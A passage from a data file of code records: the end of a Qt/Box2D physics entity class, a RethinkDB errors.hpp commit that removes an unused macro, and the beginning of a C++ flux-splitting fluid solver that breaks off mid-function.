angularDamping;\n\n if (m_body)\n m_body->SetAngularDamping(angularDamping);\n\n emit angularDampingChanged();\n }\n}\n\nQuasi::BodyType Entity::bodyType() const\n{\n return m_bodyType;\n}\n\nvoid Entity::setBodyType(const Quasi::BodyType &bodyType)\n{\n if (m_bodyType != bodyType) {\n m_bodyType = bodyType;\n\n if (m_body)\n m_body->SetType((b2BodyType)bodyType);\n\n emit bodyTypeChanged();\n }\n}\n\nbool Entity::bullet() const\n{\n return m_bullet;\n}\n\nvoid Entity::setBullet(const bool &bullet)\n{\n if (m_bullet != bullet) {\n m_bullet = bullet;\n\n if (m_body)\n m_body->SetBullet(bullet);\n\n emit bulletChanged();\n }\n}\n\nbool Entity::sleepingAllowed() const\n{\n return m_sleepingAllowed;\n}\n\nvoid Entity::setSleepingAllowed(const bool &sleepingAllowed)\n{\n if (m_sleepingAllowed != sleepingAllowed) {\n m_sleepingAllowed = sleepingAllowed;\n\n if (m_body)\n m_body->SetSleepingAllowed(sleepingAllowed);\n\n emit sleepingAllowedChanged();\n }\n}\n\nbool Entity::fixedRotation() const\n{\n return m_fixedRotation;\n}\n\nvoid Entity::setFixedRotation(const bool &fixedRotation)\n{\n if (m_fixedRotation != fixedRotation) {\n m_fixedRotation = fixedRotation;\n\n if (m_body)\n m_body->SetFixedRotation(fixedRotation);\n\n emit fixedRotationChanged();\n }\n}\n\nbool Entity::active() const\n{\n return m_active;\n}\n\nvoid Entity::setActive(const bool &active)\n{\n if (m_active != active) {\n m_active = active;\n\n if (m_body)\n m_body->SetActive(active);\n\n emit activeChanged();\n }\n}\n\nvoid Entity::applyTorque(const float &torque)\n{\n if (m_body)\n m_body->ApplyTorque(torque);\n}\n\nvoid Entity::applyLinearImpulse(const QPointF &impulse, const QPointF &point)\n{\n if (m_body) {\n m_body->ApplyLinearImpulse(b2Vec2(impulse.x() \/ m_scaleRatio,\n -impulse.y() \/ m_scaleRatio),\n b2Vec2(point.x() \/ m_scaleRatio,\n -point.y() \/ m_scaleRatio));\n }\n}\n\nvoid Entity::setLinearVelocity(const QPointF &velocity)\n{\n if (m_body) {\n m_body->SetLinearVelocity(b2Vec2(velocity.x() \/ m_scaleRatio,\n -velocity.y() \/ m_scaleRatio));\n }\n}\n\nvoid Entity::setAngularVelocity(const float &velocity)\n{\n if (m_body) {\n m_body->SetAngularVelocity(velocity);\n }\n}\n\nvoid Entity::geometryChanged(const QRectF &newGeometry,\n const QRectF &oldGeometry)\n{\n if (!m_synchronizing && m_body) {\n if (newGeometry.topLeft() != oldGeometry.topLeft()) {\n const QPointF pos = newGeometry.topLeft();\n\n m_body->SetTransform(b2Vec2((pos.x() + width() \/ 2.0) \/ m_scaleRatio,\n (-pos.y() - height() \/ 2.0) \/ m_scaleRatio),\n m_body->GetAngle());\n }\n }\n\n#if QT_VERSION >= 0x050000\n QQuickItem::geometryChanged(newGeometry, oldGeometry);\n#else\n QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);\n#endif\n}\n\nb2Vec2 Entity::b2TransformOrigin() const\n{\n b2Vec2 vec;\n if (m_body)\n vec = m_body->GetPosition();\n\n return vec;\n}\n\nfloat Entity::b2Angle() const\n{\n float32 angle = 0.0f;\n if (m_body)\n angle = m_body->GetAngle();\n return angle;\n}\n\nvoid Entity::initializeFixtures()\n{\n#if QT_VERSION >= 0x050000\n QQuickItem *item;\n#else\n QGraphicsItem *item;\n#endif\n\n bool createSensor = true;\n foreach (item, childItems()) {\n if (Fixture *fixture = dynamic_cast<Fixture *>(item)) {\n createSensor = false;\n fixture->setWorld(m_world);\n fixture->setBody(this);\n fixture->initialize();\n }\n }\n\n if (createSensor)\n createSensorFixture();\n}\n\n#if QT_VERSION >= 0x050000\nvoid Entity::itemChange(ItemChange change, const ItemChangeData &data)\n#else\nQVariant Entity::itemChange(GraphicsItemChange change, const QVariant &value)\n#endif\n{\n if (isComponentComplete() && change == ItemChildAddedChange) {\n#if QT_VERSION >= 0x050000\n QQuickItem *child = data.item;\n#else\n QGraphicsItem *child = value.value<QGraphicsItem *>();\n#endif\n if (Fixture *fixture = dynamic_cast<Fixture *>(child)) {\n destroySensorFixture();\n fixture->setWorld(m_world);\n fixture->setBody(this);\n fixture->initialize();\n }\n }\n\n#if QT_VERSION >= 0x050000\n Box2DBaseItem::itemChange(change, data);\n#else\n return Box2DBaseItem::itemChange(change, value);\n#endif\n}\n\nvoid Entity::createSensorFixture()\n{\n setBodyType(Quasi::DynamicBodyType);\n m_body->SetGravityScale(0);\n\n m_sensorFixture = new Fixture(this);\n m_sensorFixture->setMaterial(new Material(this));\n m_sensorFixture->setWidth(width());\n m_sensorFixture->setHeight(height());\n m_sensorFixture->setShapeItem(this);\n m_sensorFixture->setWorld(m_world);\n m_sensorFixture->setBody(this);\n m_sensorFixture->setSensor(true);\n m_sensorFixture->updateFixture();\n}\n\nvoid Entity::destroySensorFixture()\n{\n if (!m_sensorFixture)\n return;\n\n m_sensorFixture->deleteLater();\n m_sensorFixture = 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2010-2013 RethinkDB, all rights reserved.\n#ifndef ERRORS_HPP_\n#define ERRORS_HPP_\n\n#include <errno.h>\n#include <signal.h>\n#include <stdlib.h>\n\n#ifndef DISABLE_BREAKPOINTS\n#ifdef __linux__\n#if defined __i386 || defined __x86_64\n#define BREAKPOINT __asm__ volatile (\"int3\")\n#else \/* not x86\/amd64 *\/\n#define BREAKPOINT (raise(SIGTRAP))\n#endif \/* x86\/amd64 *\/\n#endif \/* __linux__ *\/\n\n#ifdef __MACH__\n#define BREAKPOINT (raise(SIGTRAP))\n#endif\n#else \/* Breakpoints Disabled *\/\n#define BREAKPOINT\n#endif \/* DISABLE_BREAKPOINTS *\/\n\n#define CT_ASSERT(e) do { enum { compile_time_assert_error = 1\/(!!(e)) }; } while (0)\n\n#ifndef NDEBUG\n#define DEBUG_ONLY(...) __VA_ARGS__\n#define DEBUG_ONLY_CODE(expr) do { expr; } while (0)\n#else\n#define DEBUG_ONLY(...)\n#define DEBUG_ONLY_CODE(expr) ((void)(0))\n#endif\n\n#define NORETURN __attribute__((__noreturn__))\n\n\/* Accessors to errno.\n * Please access errno *only* through these access functions.\n * Accessing errno directly is unsafe in the context of\n * coroutines because compiler optimizations can interfer with TLS, which\n * might be used for errno.\n * See thread_local.hpp for a more detailed explanation of the issue. *\/\nint get_errno();\nvoid set_errno(int new_errno);\n\/* The following line can be useful for identifying illegal direct access in our\n * code. However it cannot be turned on in general because some system headers use\n * errno and don't compile with this. *\/\n\/\/#pragma GCC poison errno\n\n\/* Error handling\n *\n * There are several ways to report errors in RethinkDB:\n * fail_due_to_user_error(msg, ...) fail and report line number\/stack trace. Should only be used when the user\n * is at fault (e.g. provided wrong database file name) and it is reasonable to\n * fail instead of handling the problem more gracefully.\n *\n * The following macros are used only for the cases of programmer error checking. For the time being they are also used\n * for system error checking (especially the *_err variants).\n *\n * crash(msg, ...) always fails and reports line number and such. Never returns.\n * crash_or_trap(msg, ...) same as above, but traps into debugger if it is present instead of terminating.\n * That means that it possibly can return, and one can continue stepping through the code in the debugger.\n * All off the rassert\/guarantee functions use crash_or_trap.\n * rassert(cond) makes sure cond is true and is a no-op in release mode\n * rassert(cond, msg, ...) ditto, with additional message and possibly some arguments used for formatting\n * rassert_err(cond) same as rassert(cond), but also print errno error description\n * rassert_err(cond, msg, ...) same as rassert(cond, msg, ...), but also print errno error description\n * guarantee(cond) same as rassert(cond), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee(cond, msg, ...) same as rassert(cond, msg, ...), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee_err(cond) same as guarantee(cond), but also print errno error description\n * guarantee_err(cond, msg, ...) same as guarantee(cond, msg, ...), but also print errno error description\n * guarantee_xerr(cond, err, msg, ...) same as guarantee_err(cond, msg, ...), but also allows to specify errno as err argument\n * (useful for async io functions, which return negated errno)\n *\n * The names rassert* are used instead of assert* because \/usr\/include\/assert.h undefines assert macro and redefines it with its own version\n * every single time it gets included.\n *\/\n\n#ifndef NDEBUG\n#define DEBUG_VAR\n#else\n#define DEBUG_VAR __attribute__((unused))\n#endif\n\n#define UNUSED __attribute__((unused))\n\n#define MUST_USE __attribute__((warn_unused_result))\n\n#define fail_due_to_user_error(msg, ...) do { \\\n report_user_error(msg, ##__VA_ARGS__); \\\n BREAKPOINT; \\\n exit(EXIT_FAILURE); \\\n } while (0)\n\n#define crash(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n BREAKPOINT; \/* this used to be abort(), but it didn't cause VALGRIND to print a backtrace *\/ \\\n abort(); \\\n } while (0)\n\n#define crash_1_13_block\n\n#define crash_or_trap(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n BREAKPOINT; \\\n } while (0)\n\nvoid report_fatal_error(const char*, int, const char*, ...) __attribute__((format (printf, 3, 4)));\nvoid report_user_error(const char*, ...) __attribute__((format (printf, 1, 2)));\n\n\/\/ Our usual crash() method does not work well in out-of-memory conditions, because\n\/\/ it performs heap-allocations itself. Use `crash_oom()` instead for these cases.\nvoid crash_oom();\n\n\/\/ Possibly using buf to store characters, returns a pointer to a strerror-style error string. This\n\/\/ has the same contract as the GNU (char *)-returning strerror_r. The return value is a pointer to\n\/\/ a nul-terminated string, either equal to buf or pointing at a statically allocated string.\nMUST_USE const char *errno_string_maybe_using_buffer(int errsv, char *buf, size_t buflen);\n\n#define stringify(x) #x\n\n#define format_assert_message(assert_type, cond) assert_type \" failed: [\" stringify(cond) \"] \"\n#define guarantee(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg); \\\n } \\\n } while (0)\n\n#define guarantee_xerr(cond, err, msg, args...) do { \\\n int guarantee_xerr_errsv = (err); \\\n if (!(cond)) { \\\n if (guarantee_xerr_errsv == 0) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg, ##args); \\\n } else { \\\n char guarantee_xerr_buf[250]; \\\n const char *errstr = errno_string_maybe_using_buffer(guarantee_xerr_errsv, guarantee_xerr_buf, sizeof(guarantee_xerr_buf)); \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) \" (errno %d - %s) \" msg, guarantee_xerr_errsv, errstr, ##args); \\\n } \\\n } \\\n } while (0)\n#define guarantee_err(cond, msg, args...) guarantee_xerr(cond, get_errno(), msg, ##args)\n\n#define unreachable(msg, ...) crash(\"Unreachable code: \" msg, ##__VA_ARGS__) \/\/ can't use crash_or_trap since code needs to depend on its noreturn property\n#define not_implemented(msg, ...) crash_or_trap(\"Not implemented: \" msg, ##__VA_ARGS__)\n\n#ifdef NDEBUG\n#define rassert(cond, msg...) ((void)(0))\n#define rassert_err(cond, msg...) ((void)(0))\n#else\n#define rassert(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Assertion\", cond) msg); \\\n } \\\n } while (0)\n#define rassert_err(cond, msg, args...) do { \\\n int rassert_err_errsv = get_errno(); \\\n if (!(cond)) { \\\n if (rassert_err_errsv == 0) { \\\n crash_or_trap(format_assert_message(\"Assert\", cond) msg); \\\n } else { \\\n char rassert_err_buf[250]; \\\n const char *errstr = errno_string_maybe_using_buffer(rassert_err_errsv, rassert_err_buf, sizeof(rassert_err_buf)); \\\n crash_or_trap(format_assert_message(\"Assert\", cond) \" (errno %d - %s) \" msg, rassert_err_errsv, errstr, ##args); \\\n } \\\n } \\\n } while (0)\n#endif\n\n\nvoid install_generic_crash_handler();\nvoid install_new_oom_handler();\n\n\/\/ If you include errors.hpp before including a Boost library, then Boost assertion\n\/\/ failures will be forwarded to the RethinkDB error mechanism.\n#define BOOST_ENABLE_ASSERT_HANDLER\nnamespace boost {\nvoid assertion_failed(char const * expr, char const * function, char const * file, long line); \/\/ NOLINT(runtime\/int)\n}\n\n#define DISABLE_COPYING(T) \\\n T(const T&) = delete; \\\n T& operator=(const T&) = delete\n\n\n\/* Put these after functions to indicate what they throw. In release mode, they\nturn into noops so that the compiler doesn't have to generate exception-checking\ncode everywhere. If you need to add an exception specification for compatibility\nwith e.g. a virtual method, don't use these, or your code won't compile in\nrelease mode. *\/\n#ifdef NDEBUG\n#define THROWS_NOTHING\n#define THROWS_ONLY(...)\n#else\n#define THROWS_NOTHING throw ()\n#define THROWS_ONLY(...) throw (__VA_ARGS__)\n#endif\n\n\/\/ This is a workaround for old versions of boost causing a compilation error\n#include <boost\/version.hpp> \/\/ NOLINT(build\/include_order)\n#if (BOOST_VERSION >= 104200) && (BOOST_VERSION <= 104399)\n#include <boost\/config.hpp> \/\/ NOLINT(build\/include_order)\n#undef BOOST_HAS_RVALUE_REFS\n#endif\n\n#ifdef __GNUC__\n#define GNUC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n#endif\n\n\n\/** RVALUE_THIS\n *\n * This macro is used to annotate methods that treat *this as an\n * rvalue reference. On compilers that support it, it expands to &&\n * and all uses of the method on non-rvlaue *this are reported as\n * errors.\n *\n * The supported compilers are clang >= 2.9 and gcc >= 4.8.1\n *\n **\/\n#if defined(__clang__)\n#if __has_extension(cxx_rvalue_references)\n#define RVALUE_THIS &&\n#else\n#define RVALUE_THIS\n#endif\n#elif __GNUC__ > 4 || (__GNUC__ == 4 && \\\n (__GNUC_MINOR__ > 8 || (__GNUC_MINOR__ == 8 && \\\n __GNUC_PATCHLEVEL__ > 1)))\n#define RVALUE_THIS &&\n#else\n#define RVALUE_THIS\n#endif\n\n\n#if defined(__clang__)\n #if !__has_extension(cxx_override_control)\n #define override\n #define final\n #endif\n#elif GNUC_VERSION < 40700\n #define override\n #define final\n#endif\n\n#endif \/* ERRORS_HPP_ *\/\n<commit_msg>remove dead code<commit_after>\/\/ Copyright 2010-2013 RethinkDB, all rights reserved.\n#ifndef ERRORS_HPP_\n#define ERRORS_HPP_\n\n#include <errno.h>\n#include <signal.h>\n#include <stdlib.h>\n\n#ifndef DISABLE_BREAKPOINTS\n#ifdef __linux__\n#if defined __i386 || defined __x86_64\n#define BREAKPOINT __asm__ volatile (\"int3\")\n#else \/* not x86\/amd64 *\/\n#define BREAKPOINT (raise(SIGTRAP))\n#endif \/* x86\/amd64 *\/\n#endif \/* __linux__ *\/\n\n#ifdef __MACH__\n#define BREAKPOINT (raise(SIGTRAP))\n#endif\n#else \/* Breakpoints Disabled *\/\n#define BREAKPOINT\n#endif \/* DISABLE_BREAKPOINTS *\/\n\n#define CT_ASSERT(e) do { enum { compile_time_assert_error = 1\/(!!(e)) }; } while (0)\n\n#ifndef NDEBUG\n#define DEBUG_ONLY(...) __VA_ARGS__\n#define DEBUG_ONLY_CODE(expr) do { expr; } while (0)\n#else\n#define DEBUG_ONLY(...)\n#define DEBUG_ONLY_CODE(expr) ((void)(0))\n#endif\n\n#define NORETURN __attribute__((__noreturn__))\n\n\/* Accessors to errno.\n * Please access errno *only* through these access functions.\n * Accessing errno directly is unsafe in the context of\n * coroutines because compiler optimizations can interfer with TLS, which\n * might be used for errno.\n * See thread_local.hpp for a more detailed explanation of the issue. *\/\nint get_errno();\nvoid set_errno(int new_errno);\n\/* The following line can be useful for identifying illegal direct access in our\n * code. However it cannot be turned on in general because some system headers use\n * errno and don't compile with this. *\/\n\/\/#pragma GCC poison errno\n\n\/* Error handling\n *\n * There are several ways to report errors in RethinkDB:\n * fail_due_to_user_error(msg, ...) fail and report line number\/stack trace. Should only be used when the user\n * is at fault (e.g. provided wrong database file name) and it is reasonable to\n * fail instead of handling the problem more gracefully.\n *\n * The following macros are used only for the cases of programmer error checking. For the time being they are also used\n * for system error checking (especially the *_err variants).\n *\n * crash(msg, ...) always fails and reports line number and such. Never returns.\n * crash_or_trap(msg, ...) same as above, but traps into debugger if it is present instead of terminating.\n * That means that it possibly can return, and one can continue stepping through the code in the debugger.\n * All off the rassert\/guarantee functions use crash_or_trap.\n * rassert(cond) makes sure cond is true and is a no-op in release mode\n * rassert(cond, msg, ...) ditto, with additional message and possibly some arguments used for formatting\n * rassert_err(cond) same as rassert(cond), but also print errno error description\n * rassert_err(cond, msg, ...) same as rassert(cond, msg, ...), but also print errno error description\n * guarantee(cond) same as rassert(cond), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee(cond, msg, ...) same as rassert(cond, msg, ...), but the check is still done in release mode. Do not use for expensive checks!\n * guarantee_err(cond) same as guarantee(cond), but also print errno error description\n * guarantee_err(cond, msg, ...) same as guarantee(cond, msg, ...), but also print errno error description\n * guarantee_xerr(cond, err, msg, ...) same as guarantee_err(cond, msg, ...), but also allows to specify errno as err argument\n * (useful for async io functions, which return negated errno)\n *\n * The names rassert* are used instead of assert* because \/usr\/include\/assert.h undefines assert macro and redefines it with its own version\n * every single time it gets included.\n *\/\n\n#ifndef NDEBUG\n#define DEBUG_VAR\n#else\n#define DEBUG_VAR __attribute__((unused))\n#endif\n\n#define UNUSED __attribute__((unused))\n\n#define MUST_USE __attribute__((warn_unused_result))\n\n#define fail_due_to_user_error(msg, ...) do { \\\n report_user_error(msg, ##__VA_ARGS__); \\\n BREAKPOINT; \\\n exit(EXIT_FAILURE); \\\n } while (0)\n\n#define crash(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n BREAKPOINT; \/* this used to be abort(), but it didn't cause VALGRIND to print a backtrace *\/ \\\n abort(); \\\n } while (0)\n\n#define crash_or_trap(msg, ...) do { \\\n report_fatal_error(__FILE__, __LINE__, msg, ##__VA_ARGS__); \\\n BREAKPOINT; \\\n } while (0)\n\nvoid report_fatal_error(const char*, int, const char*, ...) __attribute__((format (printf, 3, 4)));\nvoid report_user_error(const char*, ...) __attribute__((format (printf, 1, 2)));\n\n\/\/ Our usual crash() method does not work well in out-of-memory conditions, because\n\/\/ it performs heap-allocations itself. Use `crash_oom()` instead for these cases.\nvoid crash_oom();\n\n\/\/ Possibly using buf to store characters, returns a pointer to a strerror-style error string. This\n\/\/ has the same contract as the GNU (char *)-returning strerror_r. The return value is a pointer to\n\/\/ a nul-terminated string, either equal to buf or pointing at a statically allocated string.\nMUST_USE const char *errno_string_maybe_using_buffer(int errsv, char *buf, size_t buflen);\n\n#define stringify(x) #x\n\n#define format_assert_message(assert_type, cond) assert_type \" failed: [\" stringify(cond) \"] \"\n#define guarantee(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg); \\\n } \\\n } while (0)\n\n#define guarantee_xerr(cond, err, msg, args...) do { \\\n int guarantee_xerr_errsv = (err); \\\n if (!(cond)) { \\\n if (guarantee_xerr_errsv == 0) { \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) msg, ##args); \\\n } else { \\\n char guarantee_xerr_buf[250]; \\\n const char *errstr = errno_string_maybe_using_buffer(guarantee_xerr_errsv, guarantee_xerr_buf, sizeof(guarantee_xerr_buf)); \\\n crash_or_trap(format_assert_message(\"Guarantee\", cond) \" (errno %d - %s) \" msg, guarantee_xerr_errsv, errstr, ##args); \\\n } \\\n } \\\n } while (0)\n#define guarantee_err(cond, msg, args...) guarantee_xerr(cond, get_errno(), msg, ##args)\n\n#define unreachable(msg, ...) crash(\"Unreachable code: \" msg, ##__VA_ARGS__) \/\/ can't use crash_or_trap since code needs to depend on its noreturn property\n#define not_implemented(msg, ...) crash_or_trap(\"Not implemented: \" msg, ##__VA_ARGS__)\n\n#ifdef NDEBUG\n#define rassert(cond, msg...) ((void)(0))\n#define rassert_err(cond, msg...) ((void)(0))\n#else\n#define rassert(cond, msg...) do { \\\n if (!(cond)) { \\\n crash_or_trap(format_assert_message(\"Assertion\", cond) msg); \\\n } \\\n } while (0)\n#define rassert_err(cond, msg, args...) do { \\\n int rassert_err_errsv = get_errno(); \\\n if (!(cond)) { \\\n if (rassert_err_errsv == 0) { \\\n crash_or_trap(format_assert_message(\"Assert\", cond) msg); \\\n } else { \\\n char rassert_err_buf[250]; \\\n const char *errstr = errno_string_maybe_using_buffer(rassert_err_errsv, rassert_err_buf, sizeof(rassert_err_buf)); \\\n crash_or_trap(format_assert_message(\"Assert\", cond) \" (errno %d - %s) \" msg, rassert_err_errsv, errstr, ##args); \\\n } \\\n } \\\n } while (0)\n#endif\n\n\nvoid install_generic_crash_handler();\nvoid install_new_oom_handler();\n\n\/\/ If you include errors.hpp before including a Boost library, then Boost assertion\n\/\/ failures will be forwarded to the RethinkDB error mechanism.\n#define BOOST_ENABLE_ASSERT_HANDLER\nnamespace boost {\nvoid assertion_failed(char const * expr, char const * function, char const * file, long line); \/\/ NOLINT(runtime\/int)\n}\n\n#define DISABLE_COPYING(T) \\\n T(const T&) = delete; \\\n T& operator=(const T&) = delete\n\n\n\/* Put these after functions to indicate what they throw. In release mode, they\nturn into noops so that the compiler doesn't have to generate exception-checking\ncode everywhere. If you need to add an exception specification for compatibility\nwith e.g. a virtual method, don't use these, or your code won't compile in\nrelease mode. *\/\n#ifdef NDEBUG\n#define THROWS_NOTHING\n#define THROWS_ONLY(...)\n#else\n#define THROWS_NOTHING throw ()\n#define THROWS_ONLY(...) throw (__VA_ARGS__)\n#endif\n\n\/\/ This is a workaround for old versions of boost causing a compilation error\n#include <boost\/version.hpp> \/\/ NOLINT(build\/include_order)\n#if (BOOST_VERSION >= 104200) && (BOOST_VERSION <= 104399)\n#include <boost\/config.hpp> \/\/ NOLINT(build\/include_order)\n#undef BOOST_HAS_RVALUE_REFS\n#endif\n\n#ifdef __GNUC__\n#define GNUC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n#endif\n\n\n\/** RVALUE_THIS\n *\n * This macro is used to annotate methods that treat *this as an\n * rvalue reference. On compilers that support it, it expands to &&\n * and all uses of the method on non-rvlaue *this are reported as\n * errors.\n *\n * The supported compilers are clang >= 2.9 and gcc >= 4.8.1\n *\n **\/\n#if defined(__clang__)\n#if __has_extension(cxx_rvalue_references)\n#define RVALUE_THIS &&\n#else\n#define RVALUE_THIS\n#endif\n#elif __GNUC__ > 4 || (__GNUC__ == 4 && \\\n (__GNUC_MINOR__ > 8 || (__GNUC_MINOR__ == 8 && \\\n __GNUC_PATCHLEVEL__ > 1)))\n#define RVALUE_THIS &&\n#else\n#define RVALUE_THIS\n#endif\n\n\n#if defined(__clang__)\n #if !__has_extension(cxx_override_control)\n #define override\n #define final\n #endif\n#elif GNUC_VERSION < 40700\n #define override\n #define final\n#endif\n\n#endif \/* ERRORS_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <cmath>\n#include <data.h>\n#include <constants.h>\n#include <mesh.h>\n#include <initialconditions.h>\n\n\nusing namespace std;\n\nextern vector<node> n;\nextern vector<element> e;\nextern vector<type1> tp1;\nextern vector<type2> tp2;\nextern vector<type3> tp3;\n\n\nvoid W(int i)\n{\n tp1[i].W[0] = e[i].ro;\n\n\n tp1[i].W[1] = e[i].ro * e[i].u;\n\n tp1[i].W[2] = e[i].ro * e[i].v;\n\n tp1[i].W[3] = e[i].ro * e[i].et;\n}\n\n\nvoid Fc1(int i)\n{\n double fenergyp, fenergym, fmassp, fmassm;\n\n double ML,MR;\n\n double VL, VR; \/\/contravariant velocity of right state and left state\n\n double cL, cR; \/\/speed of sound\n\n double roL, uL, vL, pL, etL;\n\n double roR, uR, vR, pR, etR;\n\n double vnx, vny;\n\n double Fp[4], Fm[4];\n\n roL = e[i].ro;\n uL = e[i].u;\n vL = e[i].v;\n pL = e[i].p;\n etL = e[i].et;\n\n for(int d = 0; d < 4; d++)\n {\n roR = e[e[i].neigh[d]].ro;\n uR = e[e[i].neigh[d]].u;\n vR = e[e[i].neigh[d]].v;\n pR = e[e[i].neigh[d]].p;\n etR = e[e[i].neigh[d]].et;\n\n\n vnx = e[i].vn[d].x;\n vny = e[i].vn[d].y;\n\n\n VL = vnx * uL + vny * vL;\n VR = vnx * uR + vny * vR;\n\n\n cL = sqrt(gama * pL \/ roL);\n cR = sqrt(gama * pR \/ roR);\n\n\n ML = VL \/ cL;\n MR = VR \/ cR;\n\n\n if(ML >= 1.)\n {\n Fp[0] = roL * VL;\n\n Fp[1] = roL * uL * VL + vnx * pL;\n\n Fp[2] = roL * vL * VL + vny * pL;\n\n Fp[3] = roL * (etL + pL \/ roL) * VL;\n\n }\n\n else if(abs(ML) < 1)\n {\n fmassp = roL * cL * pow((ML + 1), 2) \/ 4.;\n\n fenergyp = fmassp * ((pow(((gama - 1.) * VL + 2. * cL),2) \/ (2. * (pow(gama, 2) - 1.))) + (pow(uL, 2) + pow(vL, 2) - pow(VL, 2)) \/ 2.);\n\n Fp[0] = fmassp;\n\n Fp[1] = fmassp * (vnx * (-VL + 2. * cL) \/ gama + uL);\n\n Fp[2] = fmassp * (vny * (-VL + 2. * cL) \/ gama + vL);\n\n Fp[3] = fenergyp;\n }\n\n else\n {\n Fp[0] = 0;\n\n Fp[1] = 0;\n\n Fp[2] = 0;\n\n Fp[3] = 0;\n }\n\n\n\n if(MR >= 1.)\n {\n Fm[0] = 0;\n\n Fm[1] = 0;\n\n Fm[2] = 0;\n\n Fm[3] = 0;\n }\n\n else if(abs(MR) < 1)\n {\n fmassm = -roR * cR * pow((MR - 1), 2) \/ 4.;\n\n fenergym = fmassm * ((pow(((gama - 1.) * VR - 2. * cR),2) \/ (2. * (pow(gama, 2) - 1.))) + (pow(uR, 2) + pow(vR, 2) - pow(VR, 2)) \/ 2.);\n\n Fm[0] = fmassm;\n\n Fm[1] = fmassm * (vnx * (-VR - 2. * cR) \/ gama + uR);\n\n Fm[2] = fmassm * (vny * (-VR - 2. * cR) \/ gama + vR);\n\n Fm[3] = fenergym;\n }\n\n else\n {\n Fm[0] = roR * VR;\n\n Fm[1] = roR * uR * VR + vnx * pR;\n\n Fm[2] = roR * vR * VR + vny * pR;\n\n Fm[3] = roR * (etR + pR \/ roR) * VR;\n }\n\n\n for(int a = 0; a < 4; a++)\n tp1[i].Fc[d][a] = Fp[a] + Fm[a];\n }\n\n}\n\n\nvoid W3(int i, int t)\n{\n if(t == 0)\n {\n tp3[i].W[0][t] = e[i].roprev;\n\n tp3[i].W[1][t] = e[i].roprev * e[i].uprev;\n\n tp3[i].W[2][t] = e[i].roprev * e[i].vprev;\n\n tp3[i].W[3][t] = e[i].roprev * e[i].etprev;\n }\n else if(t == 1)\n {\n tp3[i].W[0][t] = e[i].ro;\n\n tp3[i].W[1][t] = e[i].ro * e[i].u;\n\n tp3[i].W[2][t] = e[i].ro * e[i].v;\n\n tp3[i].W[3][t] = e[i].ro * e[i].et;\n }\n else if(t == 2)\n {\n tp3[i].W[0][t] = e[i].ronew;\n\n tp3[i].W[1][t] = e[i].ronew * e[i].unew;\n\n tp3[i].W[2][t] = e[i].ronew * e[i].vnew;\n\n tp3[i].W[3][t] = e[i].ronew * e[i].etnew;\n }\n\n}\n\n\nvoid Fc1new(int i)\n{\n double fenergyp, fenergym, fmassp, fmassm;\n\n double ML,MR;\n\n double VL, VR; \/\/contravariant velocity of right state and left state\n\n double cL, cR; \/\/speed of sound\n\n double roL, uL, vL, pL, etL;\n\n double roR, uR, vR, pR, etR;\n\n double vnx, vny;\n\n double Fp[4], Fm[4];\n\n roL = e[i].ronew;\n uL = e[i].unew;\n vL = e[i].vnew;\n pL = e[i].pnew;\n etL = e[i].etnew;\n\n for(int d = 0; d < 4; d++)\n {\n roR = e[e[i].neigh[d]].ro;\n uR = e[e[i].neigh[d]].u;\n vR = e[e[i].neigh[d]].v;\n pR = e[e[i].neigh[d]].p;\n etR = e[e[i].neigh[d]].et;\n\n\n vnx = e[i].vn[d].x;\n vny = e[i].vn[d].y;\n\n\n VL = vnx * uL + vny * vL;\n VR = vnx * uR + vny * vR;\n\n\n cL = sqrt(gama * pL \/ roL);\n cR = sqrt(gama * pR \/ roR);\n\n\n ML = VL \/ cL;\n MR = VR \/ cR;\n\n\n if(ML >= 1.)\n {\n Fp[0] = roL * VL;\n\n Fp[1] = roL * uL * VL + vnx * pL;\n\n Fp[2] = roL * vL * VL + vny * pL;\n\n Fp[3] = roL * (etL + pL \/ roL) * VL;\n\n }\n\n else if(abs(ML) < 1)\n {\n fmassp = roL * cL * pow((ML + 1), 2) \/ 4.;\n\n fenergyp = fmassp * ((pow(((gama - 1.) * VL + 2. * cL),2) \/ (2. * (pow(gama, 2) - 1.))) + (pow(uL, 2) + pow(vL, 2) - pow(VL, 2)) \/ 2.);\n\n Fp[0] = fmassp;\n\n Fp[1] = fmassp * (vnx * (-VL + 2. * cL) \/ gama + uL);\n\n Fp[2] = fmassp * (vny * (-VL + 2. * cL) \/ gama + vL);\n\n Fp[3] = fenergyp;\n }\n\n else\n {\n Fp[0] = 0;\n\n Fp[1] = 0;\n\n Fp[2] = 0;\n\n Fp[3] = 0;\n }\n\n\n\n if(MR >= 1.)\n {\n Fm[0] = 0;\n\n Fm[1] = 0;\n\n Fm[2] = 0;\n\n Fm[3] = 0;\n }\n\n else if(abs(MR) < 1)\n {\n fmassm = -roR * cR * pow((MR - 1), 2) \/ 4.;\n\n fenergym = fmassm * ((pow(((gama - 1.) * VR - 2. * cR),2) \/ (2. * (pow(gama, 2) - 1.))) + (pow(uR, 2) + pow(vR, 2) - pow(VR, 2)) \/ 2.);\n\n Fm[0] = fmassm;\n\n Fm[1] = fmassm * (vnx * (-VR - 2. * cR) \/ gama + uR);\n\n Fm[2] = fmassm * (vny * (-VR - 2. * cR) \/ gama + vR);\n\n Fm[3] = fenergym;\n }\n\n else\n {\n Fm[0] = roR * VR;\n\n Fm[1] = roR * uR * VR + vnx * pR;\n\n Fm[2] = roR * vR * VR + 